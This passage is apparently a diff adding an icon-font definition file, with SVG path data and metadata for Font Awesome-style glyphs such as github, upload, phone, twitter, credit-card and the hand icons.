1.714 4.571 2.857 6.286 1.143zM318.286 695.429v0c0.571-2.286-1.714-5.143-5.143-6.286s-6.286 0-7.429 2.286c-0.571 2.286 1.714 5.143 5.143 6.286s6.286 0 7.429-2.286zM342.286 697.143v0c0-2.286-2.857-4.571-6.857-4.571-3.429 0-5.714 2.286-5.714 4.571s2.857 4.571 6.286 4.571 6.286-2.286 6.286-4.571zM364.571 693.143v0c-0.571-2.286-4-3.429-7.429-2.857s-5.714 2.857-5.143 5.143 3.429 4 6.857 3.429 5.714-3.429 5.714-5.714zM731.429 512c0-161.714-130.857-292.571-292.571-292.571s-292.571 130.857-292.571 292.571c0 129.143 84 238.857 200 277.714 14.857 2.857 20-6.286 20-14.286 0-6.857 0-29.714-0.571-54.286 0 0-81.143 17.714-98.286-34.857 0 0-13.143-33.714-32.571-42.286 0 0-26.286-18.286 2.286-18.286 0 0 28.571 2.286 44.571 30.286 25.714 45.143 68.571 32 85.143 24.571 2.857-18.857 10.286-32 18.857-39.429-65.143-7.429-133.714-32.571-133.714-144.571 0-32 11.429-57.714 30.286-78.286-2.857-7.429-13.143-37.143 2.857-77.714 24.571-7.429 80.571 30.286 80.571 30.286 23.429-6.857 48-9.714 73.143-9.714s49.714 2.857 73.143 9.714c0 0 56-37.714 80.571-30.286 16 40.571 5.714 70.286 2.857 77.714 18.857 20.571 30.286 46.286 30.286 78.286 0 112.571-68.571 137.143-133.714 144.571 10.286 9.143 20 26.857 20 54.286 0 38.857-0.571 70.286-0.571 80 0 8 5.143 17.143 20 14.286 116-38.857 200-148.571 200-277.714zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "github-square" + ], + "defaultCode": 61586, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "github-square", + "id": 138, + "order": 994, + "prevSize": 28, + "code": 61586 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 138 + }, + { + "icon": { + "paths": [ + "M731.429 841.143c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM877.714 841.143c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM950.857 713.143v182.857c0 30.286-24.571 54.857-54.857 54.857h-841.143c-30.286 0-54.857-24.571-54.857-54.857v-182.857c0-30.286 24.571-54.857 54.857-54.857h244c15.429 42.286 56 73.143 103.429 73.143h146.286c47.429 0 88-30.857 103.429-73.143h244c30.286 0 54.857 24.571 54.857 54.857zM765.143 342.857c-5.714 13.714-18.857 22.857-33.714 22.857h-146.286v256c0 20-16.571 36.571-36.571 36.571h-146.286c-20 0-36.571-16.571-36.571-36.571v-256h-146.286c-14.857 0-28-9.143-33.714-22.857-5.714-13.143-2.857-29.143 8-39.429l256-256c6.857-7.429 16.571-10.857 25.714-10.857s18.857 3.429 25.714 10.857l256 256c10.857 10.286 13.714 26.286 8 39.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "upload" + ], + "defaultCode": 61587, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "upload", + "id": 139, + "order": 995, + "prevSize": 28, + "code": 61587 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 139 + }, + { + "icon": { + "paths": [ + "M804 472c0-26.857-5.143-97.143-14.286-120-10.857-27.429-17.143-42.857-17.143-73.714 0-26.286 5.714-52 5.714-77.714 0-10.857-0.571-22.286-5.714-31.429-2.286-0.571-5.143-0.571-7.429-0.571-22.286 0-44.571 5.143-66.857 5.143-68 0-132.571-27.429-200.571-27.429-53.143 0-104.571 20-153.714 39.429-38.857 15.429-81.714 33.714-115.429 58.857-115.429 87.429-155.429 247.429-155.429 385.143 0 46.286 14.286 91.429 14.286 137.714 0 26.286-12.571 50.286-12.571 75.429 0 16 9.143 29.143 26.286 29.143 28 0 54.857-12.571 83.429-12.571 65.143 0 128.571 17.714 193.714 17.714 50.857 0 114.857-4 162.286-20.571 150.286-53.143 263.429-226.857 263.429-384.571zM877.143 470.857c0 190.286-132 390.857-312.571 454.857-56.571 20-126.857 25.143-186.286 25.143-65.143 0-129.143-16.571-193.714-16.571-27.429 0-54.857 16.571-83.429 16.571-56.571 0-99.429-50.857-99.429-105.143 0-26.857 12.571-50.857 12.571-77.143 0-46.286-14.286-91.429-14.286-138.286 0-162.286 49.714-341.714 184.571-444 38.857-29.714 87.429-50.857 132.571-68.571 58.286-23.429 117.143-44.571 180.571-44.571 68 0 132.571 27.429 199.429 27.429 21.714 0 43.429-5.714 65.714-5.714 65.143 0 88.571 46.286 88.571 105.714 0 25.714-5.714 52-5.714 77.714 0 20.571 5.143 28.571 12 46.857 13.143 33.143 19.429 109.143 19.429 145.714z" + ], + "width": 877.1291428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lemon-o" + ], + "defaultCode": 61588, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "lemon-o", + "id": 140, + "order": 996, + "prevSize": 28, + "code": 61588 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 140 + }, + { + "icon": { + "paths": [ + "M804.571 708.571c0 20.571-9.143 60.571-17.714 79.429-12 28-44 46.286-69.714 60.571-33.714 18.286-68 29.143-106.286 29.143-53.143 0-101.143-21.714-149.714-39.429-34.857-12.571-68.571-28-100-47.429-97.143-60-214.286-177.143-274.286-274.286-19.429-31.429-34.857-65.143-47.429-100-17.714-48.571-39.429-96.571-39.429-149.714 0-38.286 10.857-72.571 29.143-106.286 14.286-25.714 32.571-57.714 60.571-69.714 18.857-8.571 58.857-17.714 79.429-17.714 4 0 8 0 12 1.714 12 4 24.571 32 30.286 43.429 18.286 32.571 36 65.714 54.857 97.714 9.143 14.857 26.286 33.143 26.286 50.857 0 34.857-103.429 85.714-103.429 116.571 0 15.429 14.286 35.429 22.286 49.143 57.714 104 129.714 176 233.714 233.714 13.714 8 33.714 22.286 49.143 22.286 30.857 0 81.714-103.429 116.571-103.429 17.714 0 36 17.143 50.857 26.286 32 18.857 65.143 36.571 97.714 54.857 11.429 5.714 39.429 18.286 43.429 30.286 1.714 4 1.714 8 1.714 12z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone" + ], + "defaultCode": 61589, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "phone", + "id": 141, + "order": 997, + "prevSize": 28, + "code": 61589 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 141 + }, + { + "icon": { + "paths": [ + "M640 146.286h-475.429c-50.286 0-91.429 41.143-91.429 91.429v475.429c0 50.286 41.143 91.429 91.429 91.429h475.429c50.286 0 91.429-41.143 91.429-91.429v-475.429c0-50.286-41.143-91.429-91.429-91.429zM804.571 237.714v475.429c0 90.857-73.714 164.571-164.571 164.571h-475.429c-90.857 0-164.571-73.714-164.571-164.571v-475.429c0-90.857 73.714-164.571 164.571-164.571h475.429c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "square-o" + ], + "defaultCode": 61590, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "square-o", + "id": 142, + "order": 998, + "prevSize": 28, + "code": 61590 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 142 + }, + { + "icon": { + "paths": [ + "M658.286 146.286h-585.143v709.714l292.571-280.571 50.857 48.571 241.714 232v-709.714zM665.143 73.143c8.571 0 17.143 1.714 25.143 5.143 25.143 9.714 41.143 33.143 41.143 58.857v736.571c0 25.714-16 49.143-41.143 58.857-8 3.429-16.571 4.571-25.143 4.571-17.714 0-34.286-6.286-47.429-18.286l-252-242.286-252 242.286c-13.143 12-29.714 18.857-47.429 18.857-8.571 0-17.143-1.714-25.143-5.143-25.143-9.714-41.143-33.143-41.143-58.857v-736.571c0-25.714 16-49.143 41.143-58.857 8-3.429 16.571-5.143 25.143-5.143h598.857z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bookmark-o" + ], + "defaultCode": 61591, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bookmark-o", + "id": 143, + "order": 999, + "prevSize": 28, + "code": 61591 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 143 + }, + { + "icon": { + "paths": [ + "M731.429 681.714c0-2.857 0-6.286-1.143-9.143-3.429-10.286-86.857-52.571-102.857-61.714-10.857-6.286-24-18.857-37.143-18.857-25.143 0-62.286 74.857-84.571 74.857-11.429 0-25.714-10.286-36-16-75.429-42.286-127.429-94.286-169.714-169.714-5.714-10.286-16-24.571-16-36 0-22.286 74.857-59.429 74.857-84.571 0-13.143-12.571-26.286-18.857-37.143-9.143-16-51.429-99.429-61.714-102.857-2.857-1.143-6.286-1.143-9.143-1.143-14.857 0-44 6.857-57.714 12.571-37.714 17.143-65.143 89.143-65.143 128.571 0 38.286 15.429 73.143 28.571 108.571 45.714 125.143 181.714 261.143 306.857 306.857 35.429 13.143 70.286 28.571 108.571 28.571 39.429 0 111.429-27.429 128.571-65.143 5.714-13.714 12.571-42.857 12.571-57.714zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "phone-square" + ], + "defaultCode": 61592, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "phone-square", + "id": 144, + "order": 1000, + "prevSize": 28, + "code": 61592 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 144 + }, + { + "icon": { + "paths": [ + "M925.714 233.143c-25.143 36.571-56.571 69.143-92.571 95.429 0.571 8 0.571 16 0.571 24 0 244-185.714 525.143-525.143 525.143-104.571 0-201.714-30.286-283.429-82.857 14.857 1.714 29.143 2.286 44.571 2.286 86.286 0 165.714-29.143 229.143-78.857-81.143-1.714-149.143-54.857-172.571-128 11.429 1.714 22.857 2.857 34.857 2.857 16.571 0 33.143-2.286 48.571-6.286-84.571-17.143-148-91.429-148-181.143v-2.286c24.571 13.714 53.143 22.286 83.429 23.429-49.714-33.143-82.286-89.714-82.286-153.714 0-34.286 9.143-65.714 25.143-93.143 90.857 112 227.429 185.143 380.571 193.143-2.857-13.714-4.571-28-4.571-42.286 0-101.714 82.286-184.571 184.571-184.571 53.143 0 101.143 22.286 134.857 58.286 41.714-8 81.714-23.429 117.143-44.571-13.714 42.857-42.857 78.857-81.143 101.714 37.143-4 73.143-14.286 106.286-28.571z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "twitter" + ], + "defaultCode": 61593, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "twitter", + "id": 145, + "order": 1001, + "prevSize": 28, + "code": 61593 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 145 + }, + { + "icon": { + "paths": [ + "M548 6.857v150.857h-89.714c-70.286 0-83.429 33.714-83.429 82.286v108h167.429l-22.286 169.143h-145.143v433.714h-174.857v-433.714h-145.714v-169.143h145.714v-124.571c0-144.571 88.571-223.429 217.714-223.429 61.714 0 114.857 4.571 130.286 6.857z" + ], + "width": 602.2582857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "facebook", + "facebook-f" + ], + "defaultCode": 61594, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "facebook, facebook-f", + "id": 146, + "order": 1002, + "prevSize": 28, + "code": 61594 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 146 + }, + { + "icon": { + "paths": [ + "M438.857 73.143c242.286 0 438.857 196.571 438.857 438.857 0 193.714-125.714 358.286-300 416.571-22.286 4-30.286-9.714-30.286-21.143 0-14.286 0.571-61.714 0.571-120.571 0-41.143-13.714-67.429-29.714-81.143 97.714-10.857 200.571-48 200.571-216.571 0-48-17.143-86.857-45.143-117.714 4.571-11.429 19.429-56-4.571-116.571-36.571-11.429-120.571 45.143-120.571 45.143-34.857-9.714-72.571-14.857-109.714-14.857s-74.857 5.143-109.714 14.857c0 0-84-56.571-120.571-45.143-24 60.571-9.143 105.143-4.571 116.571-28 30.857-45.143 69.714-45.143 117.714 0 168 102.286 205.714 200 216.571-12.571 11.429-24 30.857-28 58.857-25.143 11.429-89.143 30.857-127.429-36.571-24-41.714-67.429-45.143-67.429-45.143-42.857-0.571-2.857 26.857-2.857 26.857 28.571 13.143 48.571 64 48.571 64 25.714 78.286 148 52 148 52 0 36.571 0.571 70.857 0.571 81.714 0 11.429-8 25.143-30.286 21.143-174.286-58.286-300-222.857-300-416.571 0-242.286 196.571-438.857 438.857-438.857zM166.286 703.429c1.143-2.286-0.571-5.143-4-6.857-3.429-1.143-6.286-0.571-7.429 1.143-1.143 2.286 0.571 5.143 4 6.857 2.857 1.714 6.286 1.143 7.429-1.143zM184 722.857c2.286-1.714 1.714-5.714-1.143-9.143-2.857-2.857-6.857-4-9.143-1.714-2.286 1.714-1.714 5.714 1.143 9.143 2.857 2.857 6.857 4 9.143 1.714zM201.143 748.571c2.857-2.286 2.857-6.857 0-10.857-2.286-4-6.857-5.714-9.714-3.429-2.857 1.714-2.857 6.286 0 10.286s7.429 5.714 9.714 4zM225.143 772.571c2.286-2.286 1.143-7.429-2.286-10.857-4-4-9.143-4.571-11.429-1.714-2.857 2.286-1.714 7.429 2.286 10.857 4 4 9.143 4.571 11.429 1.714zM257.714 786.857c1.143-3.429-2.286-7.429-7.429-9.143-4.571-1.143-9.714 0.571-10.857 4s2.286 7.429 7.429 8.571c4.571 1.714 9.714 0 10.857-3.429zM293.714 789.714c0-4-4.571-6.857-9.714-6.286-5.143 0-9.143 2.857-9.143 6.286 0 4 4 6.857 9.714 6.286 5.143 0 9.143-2.857 9.143-6.286zM326.857 784c-0.571-3.429-5.143-5.714-10.286-5.143-5.143 1.143-8.571 4.571-8 8.571 0.571 3.429 5.143 5.714 10.286 4.571s8.571-4.571 8-8z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "github" + ], + "defaultCode": 61595, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "github", + "id": 147, + "order": 1003, + "prevSize": 28, + "code": 61595 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 147 + }, + { + "icon": { + "paths": [ + "M950.857 329.143v146.286c0 20-16.571 36.571-36.571 36.571h-36.571c-20 0-36.571-16.571-36.571-36.571v-146.286c0-80.571-65.714-146.286-146.286-146.286s-146.286 65.714-146.286 146.286v109.714h54.857c30.286 0 54.857 24.571 54.857 54.857v329.143c0 30.286-24.571 54.857-54.857 54.857h-548.571c-30.286 0-54.857-24.571-54.857-54.857v-329.143c0-30.286 24.571-54.857 54.857-54.857h384v-109.714c0-141.143 114.857-256 256-256s256 114.857 256 256z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "unlock" + ], + "defaultCode": 61596, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "unlock", + "id": 148, + "order": 1004, + "prevSize": 28, + "code": 61596 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 148 + }, + { + "icon": { + "paths": [ + "M1005.714 73.143c50.286 0 91.429 41.143 91.429 91.429v694.857c0 50.286-41.143 91.429-91.429 91.429h-914.286c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h914.286zM91.429 146.286c-9.714 0-18.286 8.571-18.286 18.286v128h950.857v-128c0-9.714-8.571-18.286-18.286-18.286h-914.286zM1005.714 877.714c9.714 0 18.286-8.571 18.286-18.286v-347.429h-950.857v347.429c0 9.714 8.571 18.286 18.286 18.286h914.286zM146.286 804.571v-73.143h146.286v73.143h-146.286zM365.714 804.571v-73.143h219.429v73.143h-219.429z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "credit-card" + ], + "defaultCode": 61597, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "credit-card", + "id": 149, + "order": 1005, + "prevSize": 28, + "code": 61597 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 149 + }, + { + "icon": { + "paths": [ + "M219.429 768c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM512 838.286c0.571 10.286-2.857 20-9.714 27.429-6.857 8-16.571 12-26.857 12h-77.143c-18.857 0-34.286-14.286-36-33.143-16.571-174.286-154.857-312.571-329.143-329.143-18.857-1.714-33.143-17.143-33.143-36v-77.143c0-10.286 4-20 12-26.857 6.286-6.286 15.429-9.714 24.571-9.714h2.857c121.714 9.714 236.571 62.857 322.857 149.714 86.857 86.286 140 201.143 149.714 322.857zM804.571 839.429c0.571 9.714-2.857 19.429-10.286 26.857-6.857 7.429-16 11.429-26.286 11.429h-81.714c-19.429 0-35.429-14.857-36.571-34.286-18.857-332-283.429-596.571-615.429-616-19.429-1.143-34.286-17.143-34.286-36v-81.714c0-10.286 4-19.429 11.429-26.286 6.857-6.857 16-10.286 25.143-10.286h1.714c200 10.286 388 94.286 529.714 236.571 142.286 141.714 226.286 329.714 236.571 529.714z" + ], + "width": 805.1565714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "feed", + "rss" + ], + "defaultCode": 61598, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "feed, rss", + "id": 150, + "order": 1006, + "prevSize": 28, + "code": 61598 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 150 + }, + { + "icon": { + "paths": [ + "M594.286 694.857c0 25.143-20.571 45.714-45.714 45.714s-45.714-20.571-45.714-45.714 20.571-45.714 45.714-45.714 45.714 20.571 45.714 45.714zM740.571 694.857c0 25.143-20.571 45.714-45.714 45.714s-45.714-20.571-45.714-45.714 20.571-45.714 45.714-45.714 45.714 20.571 45.714 45.714zM804.571 786.286v-182.857c0-9.714-8.571-18.286-18.286-18.286h-694.857c-9.714 0-18.286 8.571-18.286 18.286v182.857c0 9.714 8.571 18.286 18.286 18.286h694.857c9.714 0 18.286-8.571 18.286-18.286zM101.714 512h674.286l-89.714-275.429c-2.857-9.714-13.714-17.143-24-17.143h-446.857c-10.286 0-21.143 7.429-24 17.143zM877.714 603.429v182.857c0 50.286-41.143 91.429-91.429 91.429h-694.857c-50.286 0-91.429-41.143-91.429-91.429v-182.857c0-15.429 4.571-28.571 9.143-42.857l112.571-346.286c13.143-40 51.429-68 93.714-68h446.857c42.286 0 80.571 28 93.714 68l112.571 346.286c4.571 14.286 9.143 27.429 9.143 42.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hdd-o" + ], + "defaultCode": 61600, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hdd-o", + "id": 151, + "order": 1007, + "prevSize": 28, + "code": 61600 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 151 + }, + { + "icon": { + "paths": [ + "M950.857 365.714c40.571 0 73.143 32.571 73.143 73.143s-32.571 73.143-73.143 73.143v219.429c0 40-33.143 73.143-73.143 73.143-101.714-84.571-265.714-200.571-464-217.143-68 22.857-91.429 102.286-46.857 148-40 65.714 11.429 112 72 159.429-35.429 69.714-182.857 70.857-235.429 22.286-33.143-101.714-82.286-203.429-42.286-332h-69.714c-50.286 0-91.429-41.143-91.429-91.429v-109.714c0-50.286 41.143-91.429 91.429-91.429h274.286c219.429 0 402.286-128 512-219.429 40 0 73.143 33.143 73.143 73.143v219.429zM877.714 710.857v-545.143c-149.143 114.286-293.714 180-438.857 196v154.286c145.143 16 289.714 80.571 438.857 194.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bullhorn" + ], + "defaultCode": 61601, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bullhorn", + "id": 152, + "order": 1008, + "prevSize": 28, + "code": 61601 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 152 + }, + { + "icon": { + "paths": [ + "M521.143 969.143c0-5.143-4-9.143-9.143-9.143-45.143 0-82.286-37.143-82.286-82.286 0-5.143-4-9.143-9.143-9.143s-9.143 4-9.143 9.143c0 55.429 45.143 100.571 100.571 100.571 5.143 0 9.143-4 9.143-9.143zM140.571 804.571h742.857c-102.286-115.429-152-272-152-475.429 0-73.714-69.714-182.857-219.429-182.857s-219.429 109.143-219.429 182.857c0 203.429-49.714 360-152 475.429zM987.429 804.571c0 40-33.143 73.143-73.143 73.143h-256c0 80.571-65.714 146.286-146.286 146.286s-146.286-65.714-146.286-146.286h-256c-40 0-73.143-33.143-73.143-73.143 84.571-71.429 182.857-199.429 182.857-475.429 0-109.714 90.857-229.714 242.286-252-2.857-6.857-4.571-14.286-4.571-22.286 0-30.286 24.571-54.857 54.857-54.857s54.857 24.571 54.857 54.857c0 8-1.714 15.429-4.571 22.286 151.429 22.286 242.286 142.286 242.286 252 0 276 98.286 404 182.857 475.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bell-o" + ], + "defaultCode": 61602, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bell-o", + "id": 153, + "order": 1009, + "prevSize": 28, + "code": 61602 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 153 + }, + { + "icon": { + "paths": [ + "M786.286 512l78.857 77.143c10.857 10.286 14.857 25.714 11.429 40-4 14.286-15.429 25.714-29.714 29.143l-107.429 27.429 30.286 106.286c4 14.286 0 29.714-10.857 40-10.286 10.857-25.714 14.857-40 10.857l-106.286-30.286-27.429 107.429c-3.429 14.286-14.857 25.714-29.143 29.714-3.429 0.571-7.429 1.143-10.857 1.143-10.857 0-21.714-4.571-29.143-12.571l-77.143-78.857-77.143 78.857c-10.286 10.857-25.714 14.857-40 11.429-14.857-4-25.714-15.429-29.143-29.714l-27.429-107.429-106.286 30.286c-14.286 4-29.714 0-40-10.857-10.857-10.286-14.857-25.714-10.857-40l30.286-106.286-107.429-27.429c-14.286-3.429-25.714-14.857-29.714-29.143-3.429-14.286 0.571-29.714 11.429-40l78.857-77.143-78.857-77.143c-10.857-10.286-14.857-25.714-11.429-40 4-14.286 15.429-25.714 29.714-29.143l107.429-27.429-30.286-106.286c-4-14.286 0-29.714 10.857-40 10.286-10.857 25.714-14.857 40-10.857l106.286 30.286 27.429-107.429c3.429-14.286 14.857-25.714 29.143-29.143 14.286-4 29.714 0 40 10.857l77.143 79.429 77.143-79.429c10.286-10.857 25.143-14.857 40-10.857 14.286 3.429 25.714 14.857 29.143 29.143l27.429 107.429 106.286-30.286c14.286-4 29.714 0 40 10.857 10.857 10.286 14.857 25.714 10.857 40l-30.286 106.286 107.429 27.429c14.286 3.429 25.714 14.857 29.714 29.143 3.429 14.286-0.571 29.714-11.429 40z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "certificate" + ], + "defaultCode": 61603, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "certificate", + "id": 154, + "order": 1010, + "prevSize": 28, + "code": 61603 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 154 + }, + { + "icon": { + "paths": [ + "M146.286 768c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM950.857 438.857c0-38.857-34.857-73.143-73.143-73.143h-329.143c0-36 54.857-73.143 54.857-146.286 0-54.857-42.857-73.143-91.429-73.143-16 0-45.143 66.286-51.429 79.429-6.857 12.571-13.714 25.143-21.143 37.143-18.857 30.286-40.571 56.571-64 82.857-36.571 41.714-77.143 93.143-137.714 93.143h-18.286v365.714h18.286c100 0 197.714 73.143 308.571 73.143 64 0 108-26.857 108-95.429 0-10.857-1.143-21.714-2.857-32 24-13.143 37.143-45.714 37.143-72 0-13.714-3.429-27.429-10.286-39.429 19.429-18.286 30.286-41.143 30.286-68 0-18.286-8-45.143-20-58.857h189.143c39.429 0 73.143-33.714 73.143-73.143zM1024 438.286c0 80-66.286 146.857-146.286 146.857h-96.571c-1.714 24-9.143 46.857-21.143 68 1.143 8 1.714 16.571 1.714 24.571 0 36.571-12 73.143-34.286 101.714 1.143 108-72.571 171.429-178.286 171.429-64 0-124.571-17.714-184-39.429-34.857-12.571-91.429-33.714-127.429-33.714h-164.571c-40.571 0-73.143-32.571-73.143-73.143v-365.714c0-40.571 32.571-73.143 73.143-73.143h164.571c27.429 0 66.286-49.143 82.857-68 20.571-23.429 40-46.857 57.143-73.714 33.143-53.143 57.714-150.857 134.286-150.857 90.857 0 164.571 49.714 164.571 146.286 0 25.143-4 49.714-12.571 73.143h213.714c78.857 0 146.286 66.857 146.286 145.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-o-right" + ], + "defaultCode": 61604, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-o-right", + "id": 155, + "order": 1011, + "prevSize": 28, + "code": 61604 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 155 + }, + { + "icon": { + "paths": [ + "M786.286 804.571h18.286v-365.714h-18.286c-60.571 0-101.143-51.429-137.714-93.143-23.429-26.286-45.143-52.571-64-82.857-8-12.571-14.857-25.714-21.714-38.857s-35.429-77.714-50.857-77.714c-48.571 0-91.429 18.286-91.429 73.143 0 73.143 54.857 110.286 54.857 146.286h-329.143c-38.286 0-73.143 34.286-73.143 73.143 0 39.429 33.714 73.143 73.143 73.143h189.143c-12 13.714-20 40.571-20 58.857 0 26.857 10.857 49.714 30.286 68-6.857 12-10.286 25.714-10.286 39.429 0 26.286 13.143 58.857 37.143 72-1.714 10.286-2.286 21.143-2.286 32 0 67.429 41.714 95.429 105.143 95.429 113.714 0 210.857-73.143 310.857-73.143zM950.857 768c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM1024 438.857v365.714c0 40.571-32.571 73.143-73.143 73.143h-164.571c-36 0-92.571 21.143-127.429 33.714-58.286 21.143-118.286 39.429-181.143 39.429-105.143 0-181.714-59.429-181.143-168.571l0.571-2.857c-22.857-28.571-34.857-65.143-34.857-101.714 0-8 0.571-16.571 1.714-24.571-12-21.143-19.429-44-21.143-68h-96.571c-80 0-146.286-66.857-146.286-146.857 0-78.857 67.429-145.714 146.286-145.714h213.714c-8.571-23.429-12.571-48-12.571-73.143 0-96.571 73.714-146.286 164.571-146.286 76.571 0 101.143 97.714 134.286 150.857 17.143 26.857 36.571 50.286 57.143 73.714 16.571 18.857 55.429 68 82.857 68h164.571c40.571 0 73.143 32.571 73.143 73.143z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-o-left" + ], + "defaultCode": 61605, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-o-left", + "id": 156, + "order": 1012, + "prevSize": 28, + "code": 61605 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 156 + }, + { + "icon": { + "paths": [ + "M731.429 914.286c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM804.571 477.714c0-64.571-26.286-108-95.429-108-10.857 0-21.714 1.143-32 2.857-13.143-24-45.714-37.143-72-37.143-13.714 0-27.429 3.429-39.429 10.286-18.286-19.429-41.143-30.286-68-30.286-18.286 0-45.143 8-58.857 20v-189.143c0-39.429-33.714-73.143-73.143-73.143-38.857 0-73.143 34.857-73.143 73.143v329.143c-36 0-73.143-54.857-146.286-54.857-54.857 0-73.143 42.857-73.143 91.429 0 16 66.286 45.143 79.429 51.429 12.571 6.857 25.143 13.714 37.143 21.143 30.286 18.857 56.571 40.571 82.857 64 41.714 36.571 93.143 77.143 93.143 137.714v18.286h365.714v-18.286c0-100 73.143-197.714 73.143-308.571zM877.714 474.857c0 64-17.714 124.571-39.429 184-12.571 34.857-33.714 91.429-33.714 127.429v164.571c0 40.571-32.571 73.143-73.143 73.143h-365.714c-40.571 0-73.143-32.571-73.143-73.143v-164.571c0-27.429-49.143-66.286-68-82.857-23.429-20.571-46.857-40-73.714-57.143-53.143-33.143-150.857-57.714-150.857-134.286 0-90.857 49.714-164.571 146.286-164.571 25.143 0 49.714 4 73.143 12.571v-213.714c0-78.857 66.857-146.286 145.714-146.286 80 0 146.857 66.286 146.857 146.286v96.571c24 1.714 46.857 9.143 68 21.143 8-1.143 16.571-1.714 24.571-1.714 36.571 0 73.143 12 101.714 34.286 108-1.143 171.429 72.571 171.429 178.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "hand-o-up" + ], + "defaultCode": 61606, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "hand-o-up", + "id": 157, + "order": 1013, + "prevSize": 28, + "code": 61606 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 157 + }, + { + "icon": { + "paths": [ + "M804.571 